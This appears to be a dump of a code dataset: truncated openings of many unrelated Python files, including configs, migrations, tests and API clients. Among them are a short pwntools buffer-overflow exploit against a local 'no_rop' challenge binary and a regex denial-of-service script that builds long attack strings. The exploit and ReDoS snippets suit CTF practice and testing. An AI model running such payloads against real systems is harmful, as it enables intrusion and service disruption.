text
stringlengths
1
927k
from __future__ import print_function import FWCore.ParameterSet.Config as cms import copy process = cms.Process("ZMuMuIsolationAnalysis") process.TFileService=cms.Service( "TFileService", fileName=cms.string("Prova_W_Isolamento.root") ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.i...
# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
import pytest import fair from fair.RCPs import rcp3pd, rcp45, rcp6, rcp85, rcp26, rcp60 import numpy as np import os from fair.constants import molwt, radeff, lifetime from fair.tools.constrain import hist_temp from fair.tools.gwp import gwp def test_ten_GtC_pulse(): emissions = np.zeros(250) emissions[125:]...
from pprint import pformat as pf from query import V1Query class BaseAsset(object): """Provides common methods for the dynamically derived asset type classes built by V1Meta.asset_class""" @classmethod def query(Class, where=None, sel=None): 'Takes a V1 Data query string and returns an iterable of...
""" =========== Path Editor =========== Sharing events across GUIs. This example demonstrates a cross-GUI application using Matplotlib event handling to interact with and modify objects on the canvas. """ import numpy as np import matplotlib.path as mpath import matplotlib.patches as mpatches import matplotlib.pyplot...
# Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
""" Workhorse classes for interacting/running the CoCo templates. author: Rob Firth; github.com/RobFirth ; University of Southampton SN Group 2017 """ from __future__ import print_function ## Force python3-like printing import os import re import warnings from collections import OrderedDict import astropy....
#!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """code generator for GLES2 command buffers.""" import filecmp import os import os.path import sys from optparse import OptionParse...
import numpy as np testArr1 = np.array([1, 20, 23, 14, 2, 1, 234, 12, 1, 3]) # Sorts in ascending order testArr2 = np.array([True, False, False, True]) # False at the start of the array and then True testArr3 = np.array(['C', 'A', 'Z', 'V']) # Sorts Alphabetically print('1: {}\n2: {}\n3: {}'.format(np.sort(testArr1),...
""" a wrapper class for the gensim Word2Vec model that has extra features we need, as well as some helper functions for tokenizing and stemming and things like that. """ from functools import lru_cache import math from typing import Iterable, List from gensim.parsing.preprocessing import STOPWORDS from gensim.parsing...
# Copyright (C) 2012 Nippon Telegraph and Telephone Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
# coding: utf-8 """ Sematext Cloud API API Explorer provides access and documentation for Sematext REST API. The REST API requires the API Key to be sent as part of `Authorization` header. E.g.: `Authorization : apiKey e5f18450-205a-48eb-8589-7d49edaea813`. # noqa: E501 OpenAPI spec version: v3 ...
# Generated by Django 2.2.12 on 2020-04-21 13:26 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0005_auto_20200421_1228'), ] operations = [ migrations.RenameField( model_name='recipe', old_name='ingredient', ...
#!/usr/bin/python3 """ Given a sorted (in ascending order) integer array nums of n elements and a target value, write a function to search target in nums. If target exists, then return its index, otherwise return -1. Example 1: Input: nums = [-1,0,3,5,9,12], target = 9 Output: 4 Explanation: 9 exists in nums and its...
""" Funds API For Digital Portals Search for mutual funds and ETFs using one single consolidated API, including a criteria-based screener. The API provides also base data, key figures, and holdings. A separate endpoint returns the possible values and value range for the parameters that the endpoint /fund/nota...
import graphene from django.utils.translation import npgettext_lazy, pgettext_lazy from graphql_jwt.decorators import permission_required from ....dashboard.order.utils import fulfill_order_line from ....order import OrderEvents, OrderEventsEmails, models from ....order.emails import send_fulfillment_confirmation from...
from messages_pb2 import * def createResultsMessage(final, alternatives): message = ResultsMessage() message.status = ResultsMessage.SUCCESS message.final = final for (confidence, transcript) in alternatives: alternative = message.alternatives.add() alternative.confidence = confidence ...
import json from .oauth import OAuth2Test class PatreonOAuth2Test(OAuth2Test): backend_path = 'social_core.backends.patreon.PatreonOAuth2' user_data_url = 'https://www.patreon.com/api/oauth2/v2/identity?fields%5Buser%5D=about,created,email,first_name,full_name,image_url,last_name,social_connections,thumb_url...
import os import urllib2 import csv import commands import Queue import sys import math import requests import pdb DEBUGGING_MSG = True tracker_address = 'http://localhost:8080/req/' def load_tracker_address(): filename = '/tracker_address.txt' full_filename = os.path.abspath(sys.path[0]) + filename f = o...
import zipfile import cStringIO from urllib import urlopen DATA_URL = 'http://s3-us-west-1.amazonaws.com/umbrella-static/top-1m.csv.zip' def zip_extract(): """ Generator that: Extracts by downloading the csv.zip, unzipping. Transforms the data into python via CSV lib Loads it to the e...
import zmq from experimentor.models.devices.cameras.basler.basler import BaslerCamera cam = BaslerCamera('p') cam.initialize() ctx = zmq.Context() publisher = ctx.socket(zmq.PUB) publisher.bind('tcp://*:1234') i = 0 while True: try: cam.trigger_camera() ans = cam.read_camera()[0] publis...
# -*- coding: utf-8 -*- """ Created on Thu Jun 9 22:51:52 2022 @author: jced0001 """ class Piezo: """ Nanonis Piezo Module """ def __init__(self,NanonisTCP): self.NanonisTCP = NanonisTCP def TiltSet(self,tilt_x=None,tilt_y=None): """ Configures the tilt correction par...
# # Copyright (C) 2019 Databricks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
import sys import numpy as np import obspy from seisflows.tools import msg, unix from seisflows.tools.tools import exists, getset from seisflows.config import ParameterError from seisflows.plugins import adjoint, misfit, readers, writers from seisflows.tools import signal PAR = sys.modules['seisflows_parameters'] PA...
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apach...
# Generated by Django 2.0.3 on 2018-04-28 04:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('portfolio', '0001_initial'), ] operations = [ migrations.AddField( model_name='project', name='date', fi...
__all__ = ["Deskew", "YAMLBits", "ImageUtils"]
def findDecision(obj): #obj[0]: Coupon, obj[1]: Education, obj[2]: Occupation, obj[3]: Distance # {"feature": "Education", "instances": 23, "metric_value": 0.9877, "depth": 1} if obj[1]>0: # {"feature": "Coupon", "instances": 14, "metric_value": 0.9403, "depth": 2} if obj[0]>2: # {"feature": "Occupation", "ins...
class NoProfileIDException(Exception): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._messageString = "The user navigated to a page without providing a profileID in the query string"
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
import tensorflow as tf from object_detection.YOLO_v3.backbone.darknet53 import Darknet53, ConvLayer class ConvSet(tf.keras.layers.Layer): def __init__(self, output_dim): super(ConvSet, self).__init__() self.conv_1 = ConvLayer(output_dim, 1) self.conv_2 = ConvLayer(output_dim * 2, 3) ...
import _plotly_utils.basevalidators class ColorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name='color', parent_name='contourcarpet.line', **kwargs ): super(ColorValidator, self).__init__( plotly_name=plotly_name, parent_name=pare...
# Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None class Solution: # @param head, a ListNode # @param k, an integer # @return a ListNode def rotateRight(self, head, k): if not head: return None ...
# # Copyright (c) 2017, Arista Networks, Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # Redistributions of source code must retain the above copyright notice, # this list of condit...
from pymongo import MongoClient class MongoController(): def __init__(self, options): #print options['url'] self.url = options['url'] self.mongo = MongoClient(self.url) self.db = self.mongo[options['db']] self.collection = self.db[options['collection']] def insertData(self, data): try: post_id ...
""" WSGI config for mainapp project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTI...
from rest_framework import authentication from rest_framework.exceptions import AuthenticationFailed from django.utils.translation import gettext_lazy as _ from firebase_admin import auth as firebase_auth class BaseFirebaseAuthentication(authentication.BaseAuthentication): """ Firebase Authentication based dj...
# Copyright 2018 SAS Project Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
from json import dumps, loads import re from oauthlib.common import to_unicode def plentymarkets_compliance_fix(session): def _to_snake_case(n): return re.sub("(.)([A-Z][a-z]+)", r"\1_\2", n).lower() def _compliance_fix(r): # Plenty returns the Token in CamelCase instead of _ if ( ...
# Copyright 2021 Jacob Baumbach # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
# coding: utf-8 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # --------------------------------------------------------------------...
#!/usr/bin/env python import storm_analysis def test_wavelet_bgr(): movie_in = storm_analysis.getData("test/data/test_bg_sub.dax") movie_out = storm_analysis.getPathOutputTest("test_bg_sub_wbgr.dax") from storm_analysis.wavelet_bgr.wavelet_bgr import waveletBGRSub waveletBGRSub(movie_in, movie_out,...
# author: Roy Kid # contact: lijichen365@126.com # date: 2021-10-28 # version: 0.0.1 # source: https://github.com/networkx/networkx/blob/main/networkx/algorithms/isomorphism/isomorph.py # description: Graph isomorphism functions. __all__ = [ "could_be_isomorphic", "fast_could_be_isomorphic", "faster_could_...
import pyupbit import pprint f = open("upbit.txt") lines = f.readlines() access = lines[0].strip() secret = lines[1].strip() f.close() upbit = pyupbit.Upbit(access, secret) balances = upbit.get_balances() pprint.pprint(balances[0])
""" Several methods to simplify expressions involving unit objects. """ from functools import reduce from collections.abc import Iterable from sympy.core.add import Add from sympy.core.containers import Tuple from sympy.core.mul import Mul from sympy.core.power import Pow from sympy.core.sympify import sympify from sy...
# Copyright 2020 QuantumBlack Visual Analytics Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # THE SOFTWARE IS PROVIDED "AS IS",...
""" This file offers the methods to automatically retrieve the graph Vibrio azureus. The graph is automatically retrieved from the STRING repository. Report --------------------- At the time of rendering these methods (please see datetime below), the graph had the following characteristics: Datetime: 2021-02-02 2...
""" Methods for doing logistic regression.""" import numpy as np from utils import sigmoid def logistic_predict(weights, data): """ Compute the probabilities predicted by the logistic classifier. Note: N is the number of examples and M is the number of features per example. Inputs: ...
import filecmp import os import tempfile import unittest import sbol3 import tyto from sbol_utilities.component import contained_components, contains, add_feature, add_interaction, constitutive, \ regulate, order, in_role, all_in_role, ensure_singleton_feature from sbol_utilities.component import dna_component_wi...
import requests import sys import os import platform # LINKS TO FILES vs = "https://aka.ms/win32-x64-user-stable" vs32 = "https://aka.ms/win32-user-stable" jcp = "https://aka.ms/vscode-java-installer-win" jdk = "https://github.com/AdoptOpenJDK/openjdk11-binaries/releases/download/jdk-11.0.9%2B11/OpenJDK11U-jdk_x64_win...
import logging class TestResult: def __init__(self, component, config, status): self.component = component self.config = config self.status = status @property def __test_result(self): return "PASS" if self.status == 0 else "FAIL" def __str__(self): return '| {...
from . import recurrent_cnn from . import vdn
from dotenv import load_dotenv import dash load_dotenv() external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css'] app = dash.Dash(__name__, external_stylesheets=external_stylesheets) app.config.suppress_callback_exceptions = True app.title = "Retirement Hunt" server = app.server
# coding=utf-8 from __future__ import absolute_import, division, print_function, \ unicode_literals from calendar import timegm as unix_timestamp from datetime import datetime from operator import attrgetter from typing import Generator, Iterable, Iterator, List, MutableSequence, \ Optional, Sequence, Text, Tuple ...
import warnings from contextlib import suppress from html import escape from textwrap import dedent from typing import ( Any, Callable, Dict, Hashable, Iterable, Iterator, List, Mapping, Tuple, TypeVar, Union, ) import numpy as np import pandas as pd from . import dtypes, d...
# -*- coding: utf-8 -*- # Copyright (c) 2010-2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
# VMware vSphere Python SDK # Copyright (c) 2008-2014 VMware, Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # ...
""" FactSet Entity Report Builder No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 1.0.0 Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from...
##Author : Aditya Wagholikar ##Date : 9/24/2017 import csv from math import floor from pandas.io.tests.parser import quoting stock_lst = [] flag = 0 counter = 0 code_t = "" max_time_gap_t=-999 volume_t = 0 max_trade_t = 0 weighted_avg_price_t = 0 class Stock: code = "" max_time_gap=0 prev_ts = 0 ...
import os, sys import numpy as np from smac.env import StarCraft2Env from model import DGN from buffer import ReplayBuffer from config import * from utilis import * import torch import torch.optim as optim test_env = StarCraft2Env(map_name='25m') env_info = test_env.get_env_info() n_ant = env_info["n_agents"] n_action...
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
from errors import HypnoError class Env: def __init__(self, values=None, parent=None): self.values = values or {} self.parent = parent if parent is None: self.base_env = self else: self.base_env = parent.base_env def __getitem__(self, name): scop...
import requests import datetime as dt import xml.etree.ElementTree as ET import numpy as np import re import argparse def get_param_names(url): """ Get parameters metadata """ req = requests.get(url) params = {} if req.status_code == 200: xmlstring = req.content tree = ET.ElementTree(E...
import unittest from app.tools import utils class TestResolveDomainIpv4(unittest.TestCase): def test_valid_resolver(self): self.assertEqual(utils.resolve_domain_to_ipv4("acorso.fr"), "45.12.184.4") self.assertEqual(utils.resolve_domain_to_ipv4("www.python.org"), "151.101.120.223") def test_...
from scrapy.spider import BaseSpider class InitSpider(BaseSpider): """Base Spider with initialization facilities""" def __init__(self, *a, **kw): super(InitSpider, self).__init__(*a, **kw) self._postinit_reqs = [] self._init_complete = False self._init_started = False ...
"""Transform mypy expression ASTs to mypyc IR (Intermediate Representation). The top-level AST transformation logic is implemented in mypyc.irbuild.visitor and mypyc.irbuild.builder. """ from typing import List, Optional, Union from mypy.nodes import ( Expression, NameExpr, MemberExpr, SuperExpr, CallExpr, Unary...
from pwn import * context.binary = "./no_rop" p = process() p.sendline(b"A" * 8 + p64(1)) log.success(p.recvline_regex(rb".*{.*}.*").decode("ascii"))
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the #...
""" Example of a script that crates a 'hierarchical roi' structure from the blob model of an image fixme : redo it Used mainly for debugging at the moment (before unittests are created) This example is based on a (simplistic) simulated image. # Author : Bertrand Thirion, 2008-2009 """ import numpy as np import nip...
from discord.ext import commands import checks.identities from checks.identities import is_owner import discord """===IMPORTANT NOTE=== discord.py can read docstrings and extrapolate information from them, if you run this tutorial bot and execute the help command you will see the ping command includes the brief from ...
# Copyright 2019 Canonical Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
import os from dagster import ( Enum, EnumValue, Failure, Field, InputDefinition, Noneable, Nothing, OutputDefinition, Permissive, check, op, solid, ) from .utils import execute, execute_script_file def shell_op_config(): return { "env": Field( ...
""" Exam 3, problem 4. Authors: Vibha Alangar, Aaron Wilkin, David Mutchler, Dave Fisher, Matt Boutell, Amanda Stouder, their colleagues and Zeyu Liao. January 2019. """ # Done: 1. PUT YOUR NAME IN THE ABOVE LINE. import time import testing_helper def main(): """ Calls the TEST...
import picosat with open("/tmp/log", "w") as fout: p = picosat.picosat_init() picosat.picosat_set_verbosity(p, 100) f = picosat.picosat_set_output(p, fout) picosat.picosat_measure_all_calls(p) picosat.picosat_inc_max_var(p) picosat.picosat_add(p, 1) picosat.picosat_add(p, -1) picosat.pi...
from checkov.terraform.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_check import BaseResourceCheck class AzureInstancePassword(BaseResourceCheck): def __init__(self): name = "Ensure Azure Instance does not use basic authentication(Use SSH Key Instead)" ...
from unittest import TestCase from ipipeline.structure.node import Node class TestNode(TestCase): def test_init(self) -> None: node = Node( 'n1', mock_task, inputs={'param1': 7}, outputs=['return1'], tags=['t1'] ) self.asser...
import vcr from copy import deepcopy from unittest import TestCase from .test_helper import CLIENT, PLAYGROUND_SPACE class ResourceTest(TestCase): @vcr.use_cassette('fixtures/resource/copy.yaml') def test_can_properly_deepcopy(self): entry = CLIENT.spaces().find(PLAYGROUND_SPACE).environments().find('...
''' If the numbers 1 to 5 are written out in words: one, two, three, four, five, then there are 3 + 3 + 5 + 4 + 4 = 19 letters used in total. If all the numbers from 1 to 1000 (one thousand) inclusive were written out in words, how many letters would be used? NOTE: Do not count spaces or hyphens. For example, 342 (th...
# 2376 # <([^\s>]*)(\s[^<]*)> # POLYNOMIAL # nums:5 # POLYNOMIAL AttackString:""+"<"*10000+"@1 _SLQ_2" import re2 as re from time import perf_counter regex = """<([^\s>]*)(\s[^<]*)>""" REGEX = re.compile(regex) for i in range(0, 150000): ATTACK = "" + "<" * i * 10000 + "@1 _SLQ_2" LEN = len(ATTACK) BEGIN ...
# Copyright 2020 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
# -*- coding: iso-8859-1 -*- """ MoinMoin - New Page macro Thanks to Jos Yule's "blogpost" action and his modified Form for giving me the pieces I needed to figure all this stuff out: MoinMoin:JosYule @copyright: 2004 Vito Miliano (vito_moinnewpagewithtemplate@perilith.com), 2004 by Ni...
# Import required libraries import pandas as pd import dash import dash_html_components as html import dash_core_components as dcc from dash.dependencies import Input, Output import plotly.express as px # Read the airline data into pandas dataframe spacex_df = pd.read_csv("spacex_launch_dash.csv") max_payload = spacex...
from collections import UserDict from miniworld.model.network.connections.JSONEncoder import JSONStrMixin # TODO: REMOVE class NodeDictMixin: """ """ ######################################### # Structure Converting ######################################### def to_ids(self): """ ...
import demistomock as demisto import pytest import requests_mock PARAMS = { 'server': 'https://server', 'credentials': {}, 'proxy': True} ARGS = {'ids': 'lastDateRange', 'lastDateRange': '2 hours'} def test_decode_ip(mocker): mocker.patch.object(demisto, 'getIntegrationContext', return_valu...
import json from datetime import timedelta from django.contrib.auth.models import Group from django.core.urlresolvers import reverse from django.utils.timezone import now from moneyed import Money from rest_framework import status from rest_framework.authtoken.models import Token from bluebottle.funding.tests.factori...
from typing import Dict from ..base_category import BaseCategory # 營建工程 construction-engineering class ConstructionEngineering(object): def construction_engineering() -> Dict[str, Dict[str, str]]: list = {} list['name'] = '營建工程' list['id'] = 'construction-engineering' construction_engineeri...
# ------------------------------------------------------------------------------ # Copyright (c) Microsoft # Licensed under the MIT License. # Written by Bowen Cheng (bcheng9@illinois.edu) and Bin Xiao (leoxiaobin@gmail.com) # ------------------------------------------------------------------------------ from __future...
# test all objects that should be configurable import pytest import os BASE_DIR = os.path.dirname(__file__) @pytest.fixture def voila_config_file_paths_arg(): path = os.path.join(BASE_DIR, '..', 'configs', 'general') return '--VoilaTest.config_file_paths=[%r]' % path def test_config_app(voila_app): a...
""" This file is largely derived from a similar file in mi-deployment written Dr. Enis Afgan. https://bitbucket.org/afgane/mi-deployment/src/8cba95baf98f/tools_fabfile.py Long term it will be best to install these packages for Galaxy via the Tool Shed, however many of these tools are not yet in the tool shed and the ...
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from marionette_driver import Wait from gaiatest.apps.lockscreen.app import LockScreen from gaiatest.gaia_graphics_test...
import fire import gzip import pandas as pd from pathlib import PurePath def extract_vcf_header(vcf): if vcf.suffix == '.gz': vcf_inf = gzip.open(vcf) else: vcf_inf = open(vcf) prefix = '' for eachline in vcf_inf: if vcf.suffix == '.gz': eachline = eachline.decode()...
# -*- coding: utf-8 -*- """dnacentersdk/restsession.py Fixtures & Tests Copyright (c) 2019-2020 Cisco and/or its affiliates. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, i...
# 由sql生成 labelname2cid_dct = { 'l1': {'yphl': 0, 'bad_l2': 1}, 'l2': {'优': 0, '普': 1, '封面昏暗或模糊': 2, '画质不佳': 3, '遮挡LOGO': 4, '严重卡顿': 5}, 'l2_combine': {'优': 0, '普': 1, '封面昏暗或模糊': 2, '画质不佳': 3, '遮挡LOGO': 4, '严重卡顿': 5}, 'l2_combine2': {'优': 0, '普': 0, '封面昏暗或模糊': 0, '画质不佳': 0, '遮挡LOGO': 1, '严重卡顿': 0}, '...
# coding: utf-8 import docker import datetime import math import os import pytest import subprocess import time import pymysql.connections from docker.models.containers import Container from helpers.cluster import ClickHouseCluster SCRIPT_DIR = os.path.dirname(os.path.realpath(__file__)) config_dir = os.path.join...
#!/usr/bin/env python3 """ Copyright (c) 2018-2021 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applic...
class ProjInfo: PROJECT_NAME = 'shallow-backup' VERSION = '4.0.4' AUTHOR_GITHUB = 'alichtman' AUTHOR_FULL_NAME = 'Aaron Lichtman' DESCRIPTION = "Easily create lightweight backups of installed packages, dotfiles, and more." URL = 'https://github.com/alichtman/shallow-backup' BUG_REPORT_URL = 'https://github.com/a...
# -*- coding: utf-8 -*- # https://github.com/Hnfull/Intensio-Obfuscator """ /$$$$$$ /$$ /$$ |_ $$_/ | $$ |__/ | $$ /$$$$$$$ /$$$$$$ /$$$$...
# -*- coding: utf-8 -*- """ flask.ext.security.utils ~~~~~~~~~~~~~~~~~~~~~~~~ Flask-Security utils module :copyright: (c) 2012 by Matt Wright. :license: MIT, see LICENSE for more details. """ import base64 import hashlib import hmac import sys try: from urlparse import urlsplit except Import...
from office365.entity_collection import EntityCollection from office365.onenote.notebooks.copy_notebook_model import CopyNotebookModel from office365.onenote.notebooks.notebook import Notebook from office365.onenote.notebooks.recent_notebook import RecentNotebook from office365.runtime.client_result import ClientResult...